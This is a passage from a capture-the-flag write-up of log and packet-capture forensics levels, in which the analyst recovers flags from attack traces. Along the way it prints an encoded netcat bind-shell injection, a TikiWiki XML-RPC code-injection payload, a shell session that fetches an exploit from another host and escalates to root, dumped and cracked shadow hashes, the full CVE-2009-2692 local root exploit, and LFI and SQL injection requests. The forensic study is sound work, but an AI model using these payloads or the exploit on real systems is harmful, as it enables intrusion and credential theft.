- 36. 192.168.0.107 - - [06/Jan/2012:00:56:04 +0530] "GET /index.php HTTP/1.1" 200 1364 "http://192.168.0.106/index.php" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" 192.168.0.107 - - [06/Jan/2012:00:56:04 +0530] "GET /javascript/jquery.js HTTP/1 .1" 404 511 "http://192.168.0.106/index.php" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" 192.168.0.107 - - [06/Jan/2012:00:56:04 +0530] "GET /javascript/common.js HTTP/1.1" 404 511 "http://192.168.0.106/index.php" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" 192.168.0.107 - - [06/Jan/2012:00:56:05 +0530] "GET /Contacts.php HTTP/1.1" 500 274 "http://192.168.0.106/index.php" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv :1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" 192.168.0.107 - - [06/Jan/2012:00:56:12 +0530] "GET /add-contact.php HTTP/1.1" 500 274 "http://192.168.0.106/index.php" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" 192.168.0.107 - - [06/Jan/2012:00:56:16 +0530] "GET /search.php HTTP/1.1" 500 274 "http://192.168.0.106/index.php" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1 .9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" 192.168.0.107 - - [06/Jan/2012:00:57:51 +0530] "GET /search.php HTTP/1.1" 500 274 "http://192.168.0.106/index.php" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1 .9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" 192.168.0.107 - - [06/Jan/2012:00:58:00 +0530] "GET /contact.php?c=bmMgLWwgLXAgNjY2Ng== HTTP/1.1" 500 274 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2. 3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3" Base64decode(“bmMgLWwgLXAgNjY2Ng==”)=”nc -l -p 6666” Flags: Vulnerable Page: contact.php Port Opened: 6666 Intruder IP: 192.168.0.107 Log Analysis Level 4: Exploited!!! CVE of the Exploit is the Flag Log URL: http://www.nullcon.net/challenge/data/burp.rar Approach: Search for succeeded requests ie HTTP response code 200(<status>200</status>). Found 27 such request responses. Among them the following looks interesting: <item> <time>Thu Jan 12 02:29:39 EST 2012</time> <url><![CDATA[http://192.168.221.154/tikiwiki/scripts/server.php]]></url> <host ip="192.168.221.154">192.168.221.154</host> <port>80</port> <protocol>http</protocol> <method>POST</method> <path><![CDATA[/tikiwiki/scripts/server.php]]></path>
- 37. <extension>php</extension> <request><![CDATA[POST /tikiwiki/scripts/server.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: 192.168.221.154 User-Agent: Internet Explorer 6.0 Content-Length: 360 <?xml version="1.0"?><methodCall><methodName>foo.bar</methodName><params><param><value><st ring>1</string></value></param><param><value><string>1</string></value></param><param><val ue><string>1</string></value></param><param><value><string>1</string></value></param><para m><value><name>','')); system('id '); die; /*</name></value></param></params></methodCall>]]></request> <status>200</status> <responselength>283</responselength> <mimetype>text</mimetype> <response><![CDATA[HTTP/1.1 200 OK Date: Thu, 12 Jan 2012 07:24:16 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.10 Connection: close Content-Type: text/html Content-Length: 54 uid=33(www-data) gid=33(www-data) groups=33(www-data) ]]></response> <comment></comment> </item> From the above it looks like a code execution bug in XMLRPC used in tikiwiki. Google search yielded CVE-2005-1921 Flag: CVE-2005-1921 Log Analysis Level 5: Waat Laga Server Log URL: http://www.nullcon.net/challenge/data/dump.rar Flag-I: Vulnerable Parameter in 1st Attack Flag-II: Vulnerable Parameter in 2nd Attack Flag-III: Names of the people who discovered the Local Privilege Escalation Exploit used Flag-IV: root Password Tools Used: Wireshark. john Loaded file in Wireshark. Sorted the packets by packet size and used Follow TCP Stream to analyse sessions starting with the largest ones. Found the following in one such TCP stream:
- 38. sh: no job control in this shell sh-3.1$ id uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_sys_script_t sh-3.1$ uname -a Linux ctf4.sas.upenn.edu 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux sh-3.1$ cd /tmp/ sh-3.1$ ls -la total 904 drwxrwxrwt 15 root root 4096 Jan 11 10:07 . drwxr-xr-x 23 root root 4096 Jan 11 09:38 .. drwxrwxrwt 2 root root 4096 Jan 11 07:15 .ICE-unix -r--r--r-- 1 root root 11 Jan 11 07:07 .X0-lock drwxrwxrwt 2 root root 4096 Jan 11 07:07 .X11-unix drwxrwxrwt 2 root root 4096 Jan 11 07:06 .font-unix srw-rw-rw- 1 root root 0 Jan 11 07:07 .gdm_socket drwx------ 2 root root 4096 Mar 6 2009 .mozilla -rw-rw-rw- 1 mysql mysql 13 Jan 11 09:57 1.txt -rw-rw-rw- 1 mysql mysql 36 Jan 11 09:58 2.txt drwx------ 2 achen achen 4096 Mar 10 2009 gconfd-achen drwx------ 2 dstevens dstevens 4096 Mar 11 2009 gconfd-dstevens drwx------ 2 ghighland ghighland 4096 Mar 10 2009 gconfd-ghighland drwx------ 2 root root 4096 Mar 18 2009 gconfd-root drwx------ 3 sorzek sorzek 4096 Jan 11 07:15 gconfd-sorzek drwx------ 2 sorzek sorzek 4096 Jan 11 07:15 keyring-FiP3XI srwxrwxr-x 1 achen achen 0 Mar 10 2009 mapping-achen srwxrwxr-x 1 dstevens dstevens 0 Mar 11 2009 mapping-dstevens srwxrwxr-x 1 ghighland ghighland 0 Mar 10 2009 mapping-ghighland srwxr-xr-x 1 root root 0 Mar 18 2009 mapping-root srwxrwxr-x 1 sorzek sorzek 0 Jan 11 07:15 mapping-sorzek drwx------ 2 sorzek sorzek 4096 Jan 11 07:16 orbit-sorzek -rwsr-xr-x 1 root root 720888 Jan 11 10:09 sh drwx------ 2 sorzek sorzek 4096 Jan 11 07:15 ssh-yXwuKb2964 -rw-rw-rw- 1 mysql mysql 13 Jan 11 10:07 test1.txt -rw-rw-rw- 1 mysql mysql 36 Jan 11 10:07 test2.txt drwx------ 2 sorzek sorzek 4096 Jan 11 07:15 virtual-sorzek.7IeXOH -rw------- 1 sorzek sorzek 1062 Jan 11 08:15 xses-sorzek.HeSMY4 sh-3.1$ wget http://192.168.221.130/exploit/9479.c --10:09:30-- http://192.168.221.130/exploit/9479.c => `9479.c' Connecting to 192.168.221.130:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3,379 (3.3K) [text/x-csrc] 0K ... 100% 61.97 MB/s 10:09:30 (61.97 MB/s) - `9479.c' saved [3379/3379] sh-3.1$ gcc 9479.c -o root sh-3.1$ ./root sh: no job control in this shell
- 39. sh-3.1# id uid=0(root) gid=0(root) groups=48(apache) context=system_u:system_r:httpd_sys_script_t sh-3.1# cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rpm:x:37:37::/var/lib/rpm:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin distcache:x:94:94:Distcache:/:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash pcap:x:77:77::/var/arpwatch:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin gdm:x:42:42::/var/gdm:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin dstevens:x:500:506:Don Stevens:/home/dstevens:/bin/bash achen:x:501:501:Andrew Chen:/home/achen:/bin/bash pmoore:x:502:502:Phillip Moore:/home/pmoore:/bin/bash jdurbin:x:503:503:James Durbin:/home/jdurbin:/bin/bash sorzek:x:504:504:Sally Orzek:/home/sorzek:/bin/bash ghighland:x:505:505:Greg Highland:/home/ghighland:/bin/bash ossec:x:506:508::/var/ossec:/sbin/nologin ossecm:x:507:508::/var/ossec:/sbin/nologin ossecr:x:508:508::/var/ossec:/sbin/nologin
- 40. sh-3.1# cat /etc/issue Fedora Core release 5 (Bordeaux) Kernel r on an m sh-3.1# cat /etc/shadow root:$1$IW2CPQzs$ba/aJ9zePc/r9tF2R6KAJ0:15350:0:99999:7::: bin:*:14309:0:99999:7::: daemon:*:14309:0:99999:7::: adm:*:14309:0:99999:7::: lp:*:14309:0:99999:7::: sync:*:14309:0:99999:7::: shutdown:*:14309:0:99999:7::: halt:*:14309:0:99999:7::: mail:*:14309:0:99999:7::: news:*:14309:0:99999:7::: uucp:*:14309:0:99999:7::: operator:*:14309:0:99999:7::: games:*:14309:0:99999:7::: gopher:*:14309:0:99999:7::: ftp:*:14309:0:99999:7::: nobody:*:14309:0:99999:7::: dbus:!!:14309:0:99999:7::: rpm:!!:14309:0:99999:7::: apache:!!:14309:0:99999:7::: distcache:!!:14309:0:99999:7::: ntp:!!:14309:0:99999:7::: nscd:!!:14309:0:99999:7::: vcsa:!!:14309:0:99999:7::: webalizer:!!:14309:0:99999:7::: dovecot:!!:14309:0:99999:7::: mysql:!!:14309:0:99999:7::: netdump:!!:14309:0:99999:7::: pcap:!!:14309:0:99999:7::: avahi:!!:14309:0:99999:7::: named:!!:14309:0:99999:7::: mailnull:!!:14309:0:99999:7::: smmsp:!!:14309:0:99999:7::: haldaemon:!!:14309:0:99999:7::: rpc:!!:14309:0:99999:7::: xfs:!!:14309:0:99999:7::: gdm:!!:14309:0:99999:7::: rpcuser:!!:14309:0:99999:7::: nfsnobody:!!:14309:0:99999:7::: sshd:!!:14309:0:99999:7::: dstevens:$1$fU8HOHqa$N542xtl0ft8NmsYkv5NFo/:14309:0:99999:7::: achen:$1$kxyn25Oz$w.MMADGQYIq4F52hi9DUQ.:14309:0:99999:7::: pmoore:$1$p0RXlomV$m03UsjoTZ08qG8gbWHgST0:14309:0:99999:7::: jdurbin:$1$CYmEyuc.$FXAeZHkhywwENbqE8h0O.0:14309:0:99999:7::: sorzek:$1$cWeWNRdU$VTtlKsoRBmhMghnkSwqCQ.:14312:0:99999:7::: ghighland:$1$ooKvtZEY$N2RpSaIylgFlHnBkbwUGz0:14309:0:99999:7::: ossec:!!:14312:0:99999:7:::
- 41. ossecm:!!:14312:0:99999:7::: ossecr:!!:14312:0:99999:7::: sh-3.1# exit exit sh-3.1$ exit exit Copied /etc/shadow to pass.txt and used john(http://www.openwall.com/john/) with wordlist (http://download.openwall.net/pub/wordlists/all.gz) to crack password file using a downloaded password file. [nullc0n]$ john -show pass.txt root:zuzana:15350:0:99999:7::: sorzek:pacman:14312:0:99999:7::: 2 password hashes cracked, 5 left This gives us Flag IV: zuzana In another TCP session we got: HTTP/1.1 200 OK Date: Thu, 12 Jan 2012 06:18:26 GMT Server: Apache/2.2.14 (Ubuntu) Last-Modified: Wed, 11 Jan 2012 12:36:23 GMT ETag: "41d4c-d33-4b63fe12b3b1c" Accept-Ranges: bytes Content-Length: 3379 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/x-csrc /* ** ** 0x82-CVE-2009-2692 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver) ** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x. ** ** -- ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** spender and venglin's code is very excellent. ** Thankful to them. ** ** Greets: Brad Spengler <spender(at)grsecurity(dot)net>, ** Przemyslaw Frasunek <venglin(at)czuby(dot)pl>. ** -- ** exploit by <p0c73n1(at)gmail(dot)com>.
- 42. ** ** "Slow and dirty exploit for this one" ** */ #include <stdio.h> #include <unistd.h> #include <sys/socket.h> #include <sys/mman.h> #include <fcntl.h> #include <sys/personality.h> unsigned int uid, gid; void kernel_code() { .unsigned long where=0; .unsigned long *pcb_task_struct; .where=(unsigned long )&where; .where&=~8191; .pcb_task_struct=(unsigned long *)where; .while(pcb_task_struct){ ..if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&& ...pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&& ...pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&& ...pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){ ...pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0; ...pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0; ...break; ..} ..pcb_task_struct++; .} .return; ./* .** By calling iret after pushing a register into kernel stack, .** We don't have to go back to ring3(user mode) privilege level. dont worry. :-} .** .** kernel_code() function will return to its previous status which means before sendfile() system call, .** after operating upon a ring0(kernel mode) privilege level. .** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address. .*/ } void *kernel=kernel_code; int main(int argc,char *argv[]) { .int fd_in=0,fd_out=0,offset=1;
- 43. .void *zero_page; .uid=getuid(); .gid=getgid(); .if(uid==0){ ..fprintf(stderr,"[-] check ur uidn"); ..return -1; .} ./* .** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet) .*/ .if(personality(0xffffffff)==PER_SVR4){ ..if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){ ...perror("[-] mprotect()"); ...return -1; ..} .} .else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP _ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){ ...perror("[-] mmap()"); ...return -1; .} .*(char *)0x00000000=0xff; .*(char *)0x00000001=0x25; .*(unsigned long *)0x00000002=(unsigned long)&kernel; .*(char *)0x00000006=0xc3; .if((fd_in=open(argv[0],O_RDONLY))==-1){ ..perror("[-] open()"); ..return -1; .} .if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){ ..if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){ ...perror("[-] socket()"); ...return -1; ..} .} gogossing: ./* .** Sometimes, the attacks can fail. To enlarge the possiblilty of attack, .** an attacker can make all the processes runing under current user uid 0. .*/ .if(sendfile(fd_out,fd_in,&offset,2)==-1){ ..if(offset==0){ ...perror("[-] sendfile()"); ...return -1; ..} ..close(fd_out);
- 44. ..fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0); .} .if(getuid()==uid){ ..if(offset){ ...offset=0; ..} ..goto gogossing; /* all process */ .} .close(fd_in); .close(fd_out); .execl("/bin/sh","sh","-i",NULL); .return 0; } /* eoc */ // milw0rm.com [2009-08-24] This gives us Flag III as Tavis Ormandy and Julien Tinnes Another TCP session gave the following: GET /index.html?page=../../../../../../../../../tmp/test2.txt%00&c=ls HTTP/1.1 Host: 192.168.221.143 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive HTTP/1.1 200 OK Date: Wed, 11 Jan 2012 15:08:00 GMT Server: Apache/2.2.0 (Fedora) X-Powered-By: PHP/5.1.2 Content-Length: 1373
- 45. Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <title> Prof. Ehks </title> <style type="text/css"> BODY { .font-family: helvetica, arial; .padding: 0px; .margin: 0px; } TABLE.nav { .background-color: #336699; } TABLE.nav a { .color: white; .text-decoration: none; } H1.title { .width: 100%; .background-color: #6699cc; .padding: 5px; .margin: 0px; .border-bottom: 3px solid #113366; } DIV#main { .margin: 5px; } </style> </head> <body> <table width="100%" class="nav"> <tr> .<td><a href="index.html?title=Home Page">Home</a></td> .<td><a href="index.html?page=blog&title=Blog">Blog</a></td> .<td><a href="index.html?page=research&title=Research">Research</a></td> .<td><a href="index.html?page=contact&title=Contact">Contact</a></td> .<form method="post" action="index.html?page=search&title=Search Results"> .<td><input type="text" value="search" name="searchterm"/><input type="submit" value="Go"/></td> .</form> .<!--<td><a href="/usage">Stats</a></td>--> </tr>
- 46. </table> <h1 class="title">Professor Ehks Center for Data Studies</h1> <div id="main"> 1.<br /> <b>Notice</b>: Use of undefined constant c - assumed 'c' in <b>/tmp/test2.txt</b> on line <b>1</b><br /> admin calendar conf images inc index.html index.html.bak mail pages restricted robots.txt sql .3.4.5 </div> <div id="center" style="text-align:center;width:100%"><a href="mailto:webmaster@localhost">webmaster</a></div> </body> </html> The above shows that there is a flaw in parameter page. Another attack targeted parameter id as shown below: GET /index.html?page=blog&title=Blog&id=2+AND+1=2+UNION+ALL+SELECT+1,%27test%27,3,4,5+INTO+ OUTFILE+%27/tmp/test1.txt%27--+- HTTP/1.1 Host: 192.168.221.143 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive
- 47. HTTP/1.1 200 OK Date: Wed, 11 Jan 2012 15:07:02 GMT Server: Apache/2.2.0 (Fedora) X-Powered-By: PHP/5.1.2 Content-Length: 1336 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> <title> Prof. Ehks Blog</title> <style type="text/css"> BODY { .font-family: helvetica, arial; .padding: 0px; .margin: 0px; } TABLE.nav { .background-color: #336699; } TABLE.nav a { .color: white; .text-decoration: none; } H1.title { .width: 100%; .background-color: #6699cc; .padding: 5px; .margin: 0px; .border-bottom: 3px solid #113366; } DIV#main { .margin: 5px; } </style> </head> Similarly there were other attacks as shown below
- 48. From the above we can infer that the attacks on parameter id was done before the attack on parameter page. Attacker first exploited SQL injection flaw Therefore the flags are: Flag I id Flag II page Flag III Tavis Ormandy and Julien Tinnes Flag IV zuzana